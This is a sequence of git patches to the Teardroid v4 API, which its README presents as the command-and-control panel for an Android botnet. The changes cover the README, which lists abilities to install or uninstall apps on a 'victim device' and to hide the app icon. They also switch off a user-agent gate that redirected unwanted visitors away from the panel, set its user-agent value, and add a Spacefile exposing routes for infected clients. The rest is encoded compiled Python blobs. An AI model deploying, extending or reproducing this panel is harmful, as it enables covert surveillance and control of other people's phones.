Mon, 27 Feb 2023 20:08:53 +0530 Subject: [PATCH 15/31] Update README.md --- README.md | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/README.md b/README.md index 3e45d54..41a7187 100644 --- a/README.md +++ b/README.md @@ -6,22 +6,6 @@ This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -### Deploy the Teardroid control panel on deta.sh - -- Set up an account at [deta.sh](https://web.deta.sh/) -- [Click here](https://github.com/ScRiPt1337/Teardroidv4_api/fork) to fork this repo into your github account and click create fork -- Teardroidv4_api repo will be forked into your account -- Open the forked repo and click on config.py file and Change the value of "hello" to any user_agent or text you want -- https://go.deta.dev/deploy?repo=your-repo-url reaplce your-repo-url with the url of your forked repo and open it on browser -- and click deploy -- change your user-agent of the browser with the value of USER_AGENT you have enter in config.py -- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) -- DONE - -#### Deploy video on deta.sh - -!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/Animation.gif) - ### Run control panel on your own server - Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below From 67b65ecbb3e7ddc9f63ffd591b4429cb27b20368 Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Sat, 4 Mar 2023 10:55:00 +0530 Subject: [PATCH 16/31] Update readme.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 41a7187..c832404 100644 --- a/README.md +++ b/README.md @@ -123,6 +123,7 @@ $ uvicorn main:app --host 0.0.0.0 --port 80 - install any apk file in victim device - uninstall any app from victim device - wake up device and able to run for 1 to 3 hour with screen off +- hidden app icon (work on new android versions too tested on 9 to 13) #### Interested in scatter alfa From 93f8a9a2293f9db7939e7b5d93ef4ae7ff65d793 Mon Sep 17 00:00:00 2001 From: script 1337 Date: Sat, 29 Apr 2023 00:21:46 +0530 Subject: [PATCH 17/31] few changes --- db/database.py | 2 +- main.py | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/db/database.py b/db/database.py index a452666..d7e3f0c 100644 --- a/db/database.py +++ b/db/database.py @@ -1,7 +1,7 @@ from deta import Deta from os import getenv -deta = Deta(getenv("DETA_PROJECT_KEY")) +deta = Deta("DATA_KEY_GOES_HERE") def client_db(): diff --git a/main.py b/main.py index ecd3be3..ca03834 100644 --- a/main.py +++ b/main.py @@ -60,23 +60,23 @@ def authjwt_exception_handler(request: Request, exc: AuthJWTException): @app.exception_handler(StarletteHTTPException) async def custom_http_exception_handler(request, exc): if exc.status_code == 404: - if await check_agent(request=request): - return RedirectResponse(REDIRCT_URL) + # if await check_agent(request=request): + # return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) return JSONResponse(status_code=exc.status_code, content={"detail": exc.detail}) @app.route("/v4") async def index(request: Request): - if await check_agent(request=request): - return RedirectResponse(REDIRCT_URL) + # if await check_agent(request=request): + # return RedirectResponse(REDIRCT_URL) return HTMLResponse(open("build/index.html", "rb").read()) @app.get("/") async def root(request: Request): - if await check_agent(request=request): - return RedirectResponse(REDIRCT_URL) + # if await check_agent(request=request): + # return RedirectResponse(REDIRCT_URL) return RedirectResponse("/v4/overview") From 9ee79f93076410719a16940844d9d3f794a849f6 Mon Sep 17 00:00:00 2001 From: script 1337 Date: Mon, 1 May 2023 02:28:37 +0530 Subject: [PATCH 18/31] updating the panel --- .gitignore | 1 + .spaceignore | 2 + Discovery.md | 6 + Spacefile | 15 ++ build/new.html | 146 ++++++++++++++++++ config.py | 2 +- db/__pycache__/database.cpython-311.pyc | Bin 0 -> 1297 bytes db/database.py | 2 +- main.py | 14 +- requirements.txt | 3 +- routers/__pycache__/__init__.cpython-311.pyc | Bin 0 -> 144 bytes .../auth/__pycache__/__init__.cpython-311.pyc | Bin 0 -> 149 bytes routers/auth/__pycache__/auth.cpython-311.pyc | Bin 0 -> 3467 bytes .../__pycache__/__init__.cpython-311.pyc | Bin 0 -> 151 bytes .../client/__pycache__/client.cpython-311.pyc | Bin 0 -> 3648 bytes .../__pycache__/__init__.cpython-311.pyc | Bin 0 -> 152 bytes .../__pycache__/command.cpython-311.pyc | Bin 0 -> 10430 bytes .../__pycache__/__init__.cpython-311.pyc | Bin 0 -> 157 bytes .../__pycache__/notification.cpython-311.pyc | Bin 0 -> 4785 bytes setup.py | 37 +++++ static/media/images.png | Bin 0 -> 109477 bytes 21 files changed, 218 insertions(+), 10 deletions(-) create mode 100644 .gitignore create mode 100644 .spaceignore create mode 100644 Discovery.md create mode 100644 Spacefile create mode 100644 build/new.html create mode 100644 db/__pycache__/database.cpython-311.pyc create mode 100644 routers/__pycache__/__init__.cpython-311.pyc create mode 100644 routers/auth/__pycache__/__init__.cpython-311.pyc create mode 100644 routers/auth/__pycache__/auth.cpython-311.pyc create mode 100644 routers/client/__pycache__/__init__.cpython-311.pyc create mode 100644 routers/client/__pycache__/client.cpython-311.pyc create mode 100644 routers/command/__pycache__/__init__.cpython-311.pyc create mode 100644 routers/command/__pycache__/command.cpython-311.pyc create mode 100644 routers/notification/__pycache__/__init__.cpython-311.pyc create mode 100644 routers/notification/__pycache__/notification.cpython-311.pyc create mode 100644 setup.py create mode 100644 static/media/images.png diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..97861c9 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.space \ No newline at end of file diff --git a/.spaceignore b/.spaceignore new file mode 100644 index 0000000..2c9bcb5 --- /dev/null +++ b/.spaceignore @@ -0,0 +1,2 @@ +!build +!static \ No newline at end of file diff --git a/Discovery.md b/Discovery.md new file mode 100644 index 0000000..ab1ccbd --- /dev/null +++ b/Discovery.md @@ -0,0 +1,6 @@ +--- +app_name: python-app +tagline: python-app +--- + + diff --git a/Spacefile b/Spacefile new file mode 100644 index 0000000..5387b94 --- /dev/null +++ b/Spacefile @@ -0,0 +1,15 @@ +# Spacefile Docs: https://go.deta.dev/docs/spacefile/v0 +v: 0 +icon: static/media/images.png +micros: + - name: python-app + src: . + engine: python3.9 + run: uvicorn main:app + public_routes: + - "/client/add" + - "/command/upload" + - "/command/complete" + - "/command/device/*" + - "/notification/add" + diff --git a/build/new.html b/build/new.html new file mode 100644 index 0000000..e9eb61b --- /dev/null +++ b/build/new.html @@ -0,0 +1,146 @@ + + + + + + + + + + + + + +
+ + + + + + + + + + + + thumb_up  Love it + + thumb_down  Nope it + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + \ No newline at end of file diff --git a/config.py b/config.py index bd92e12..f4d40ec 100644 --- a/config.py +++ b/config.py @@ -1 +1 @@ -USER_AGENT = "hello" +USER_AGENT = "teardroid" diff --git a/db/__pycache__/database.cpython-311.pyc b/db/__pycache__/database.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..6c1a5172e453cbc95e3754db49b3f466194fcac8 GIT binary patch literal 1297 zcmcJO&ubGw6vt1?(o))LRi#8B28FH)^$YCq4f?1}T2&(02U2As0*r_# zFe)^lCSt&th(9OA#9v%mq&_Pfwhqte8^bm_J^y04vi+d`^x2cgl}Fq4&B{(QOcFd) zAok&1z%j9d$q_z}<(!#>gG`Ep)XJ70ZMICKW1lEK6Oi6#5B08bLWa2VG+Qp!Y(tkq zTBfM??$ku1CUjeGK+Ns8@BH{^aa}az1&G(6cP|6_*wU=H7cS3uJmav;d~xq#$*=_2 zB=j658y}ZsQIT=j&X1I(*)yg;djjL?B5+-YFjU>W2KWQls6>P{wCAAY(d13PUi1CZpd>P{wCAAY(d13PUi1CZpd4BO~Jn1{hJq3={(Z*qR|2 literal 0 HcmV?d00001 diff --git a/routers/auth/__pycache__/auth.cpython-311.pyc b/routers/auth/__pycache__/auth.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c77f9660166c466f81051d5db84a112869f6d457 GIT binary patch literal 3467 zcmcImTW=f36`s9txx7juEy=c=m`)A5bPP)^+zV1WhFq!5O=@Dva?Pk%tT`izGH;n( z)|Ma}j4PlDU<3|ozX3m-0nQy+Czs6!=0_p5mGX0B2$ltKgPQjM4dsial5ut=ic~X!vQbEqh5|-t> zQcyFh(3O0kpk*|ntNCC-&*(xA)JG`Ca4Czu^bpi%~et69zr182xV55=R~9B&}7L@&6O%enpRw` z%-LM-wyWCayyb>?YbYz*ik|pu@8j-CC_W;LWF$&5@>RkVrc&tw)Cx^TjViE4)zz~3 z94p$cUa=T2ng!7Pan(YcD=+b0a1{cfV!Z;Q+VyM1 z`>GSwi4P|_3Ksd%cBB6_2s{BjxzSRd8tt{a(IUImDNXVuj&%fu7zAB%exXO#R1w-`Z8%?= z&lTbD!Vo2%TV~l#pkNpczCXdY`)?3$6X^$oy+ZZ^3_5O(NL1P%s>Mzy@5pwf?FSpN zFQim%ZA70P+w-CdRi6bO!yKP>=6O$Akv6)vbkDncR#bZy^tZdC*jfWN?7l-+<`x(T=l7QkrEvvf#6hrfc; z=m3iU2#Y6C;PTyMmNV04hAH|mL>C;lFs*vj@niH-k;2?)x08i?l7iGiok^+T5gz|J zSa2BY6A=G|UzPj=k=N)SdT4B(`h3{YFGJo@Y&OWHXNugbke+hl|pSQzjBUTs6{T;G5`7?+j_`;$B9qW z;uH1wgriSvtC7{o2lo2t!&~c>hj%x_TW{1ayypyGanz}rI#pMvKmm+zj5$A>b`D>K zT#L-qBQuUVBTzk=KI8`HOrRB@4O|GvLkiE1C2AJ!T$UrQ-M*H`xz1BZgu+d<>skAC zWqBOY+cFp!X>qS0PT)y(;~ZW-H{iAA-BOzO0`Z7LzyL2GS1p&|9fPdEF^Kyv`|tD% z-s|UeJ`PsA$*e7qO+}KV207*Yr`#YfJO11tXB>ZSkh6|IH^@oHpBv=3aM2hg)+3J0WElXOHck@Y_h-5Xl_eN7suO9PG9Mz>CXk$#?T zl9&YS24a0i{A~vJs)V+q5P1-qG-dQmwK{TQ$7@omE~Oe5$F{D0asByqph)SO>P{wCAAY(d13PUi1CZpd&ryk0@&FAkgB{FKt1RJ$TppjMFK V#r#0x12ZEd;|B&9QN#=s0{}01A?E-9 literal 0 HcmV?d00001 diff --git a/routers/client/__pycache__/client.cpython-311.pyc b/routers/client/__pycache__/client.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b066ccba1b9a09c83e357a50ee6db504ba74b418 GIT binary patch literal 3648 zcma)8-ESMm5#RgZH>odECMDA{9Y;>s)>dq*`EXsMNmW_0Z05sCf)FmQC+^Zd^~huP zj&h~i0P6~<0^}hN0qg=Uzyz-AzqrJ3G7l&Ft*{C6S0CC_nmE#BT=?`WF+rCDdWI{w5%F17U;(9hFf535*wYp)3}} zvQ&_`Ea`GNPzZ2d)`R6xA;kHB9xg`;5zYtoXgOAhaXzHS%ZWllKq4X{4&%rr0Y`BR z$2CC{zD(Sa5V{ASR|*55mAC`Ky>1sOBt&!u;emC8BP6gxe-ICnp^}J)*5$%58EB03 zru8v+_zwKDd+>P$>s8N#C^R+91F^?-l0 zF#3Njr@n_}W>v)LT~_zvu?r|S{$IA$oZyDBY7t8-lbq;AUVm%;9iwIu>V{@Wl~k|^ z8j&|tlbkm&(Lsoxz3^uK9b#6Eib+5oS~iV}x}+0@REnTOp)d4$&ANQ{{Y5snsB5HR zDR^luH0AMb&}+3%0b4hQiCLst)zXa0S|o2+*^*JK;GE~R_cU3XBeU}|VsSs~Pff6ic7(TYT=sAb~D zO|7gLRYFzEpl*ywMF7R3tJ*g(-3@CMaM6mYFSG0$SM<&ZhCUJIh?&Re8 zlam+Rn68?ZVpMdkLh`w|8&TF$*B-5hqprWXiieahD zC#Is%QP?uw%l0iV8HP?7=&n>TuDD^)FR|dEY3Ta`Z2?73Uz|C4(IP7C{Ke^ul*g2L z(Q|yKIa*!iU~s~Yp!pGydf(3(P1`c7O*!ohCvBP4rkr#}Ms1nZrabEFPp0d08^!H8 zds6k;jTu``L2b$@C-dUXxm)M{n7@^Om^twvbHbiJ)6C4ZGIRBXPhg!ns7+3Rq0hl? z+(^eS8ZP!S0ra!%_j~xZt^-+soOc6RedEhL{wm}}D*#HJvfK?=v?HA4u10^0MSnO! z?vw6_kd@%`3d@!dR&t&@fTo}q&aw1svg(FvRd%$^T!6Azb%UPFy+;o~56v=dfj$q7 z$#$Hjhk&|+o}$9yhx;}My&0x-7RZ0#S4WTJL<<}d2mB}g9KId@Y~c35!|W>$vai^$ zE;O^}TG?~<(D`;i3IsP1kSC0^{e&aDCQqr@4{i`v;ozs_soge4(3s?t$54ODd=a8Fy8>;!Ts-8^5dWW zV=Q;~aC7WfYwTDvcDxlkUY~gsOF7AOBiSIg_t~#4+TnMhZc1Vt00+`WVj$?joS5<= zdFr-!s4wR zVGh_!`9%Qhhp-|?EGN71 zgY~hTcqorQkjI;HrX^==IRk(;X1<>P>ipjiHK%7=)3bK^4Af?9t`%eHfrI%}nDS)< z=3gGL4PZKeA;#}6-yg94fL-oo2mk!#US`1}ymVN000(Tpj3BIcLknT;+dZ?r2fnSB zfjldZZ6BCjM@97V5BPxvfSV{$qpX=m$)IJ`f@grB^(C06;ZwR=Uc&0>wS&w*s;+l@ zWF9@G8%0$&PXptryax76cK6iLpDwp1rtiOf|61$Ezi3X(wkBrli2I}Cem6u3yHDXI z!z0HHc?ZhO1?h3Hz=OsOng+EXf_P30l!#Tl>;^Q8l;Nr41yFw~+_69UGq7_EKJ!;V zo)JWkQ~MsJ_CFdL`*g55bg;$h3r=#@PR=^%Ogki}2R0FqCycZMp-8lifNV+;c5;EV zQKWNn^SP7L!E62#Xj>8l!9n|Ne|6Ad`@5=xCTxFo&<|{Xb2ue5K+o858 zA#t=j+U9e{ua9rM*%UG@A>&N{Fx{ty&liZ?T3kNk?Tj< u9+>P{wCAAY(d13PUi1CZpdBam&;sY}yBjX1K7*WIw6axTSKO#r~ literal 0 HcmV?d00001 diff --git a/routers/command/__pycache__/command.cpython-311.pyc b/routers/command/__pycache__/command.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..df8061a5c01a4b072afda05392270e553c75f18a GIT binary patch literal 10430 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 e`_!Tt7 literal 0 HcmV?d00001 diff --git a/routers/notification/__pycache__/__init__.cpython-311.pyc b/routers/notification/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..a2b67a6b5a8295395d7b38daf7655ef918fc9bc0 GIT binary patch literal 157 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 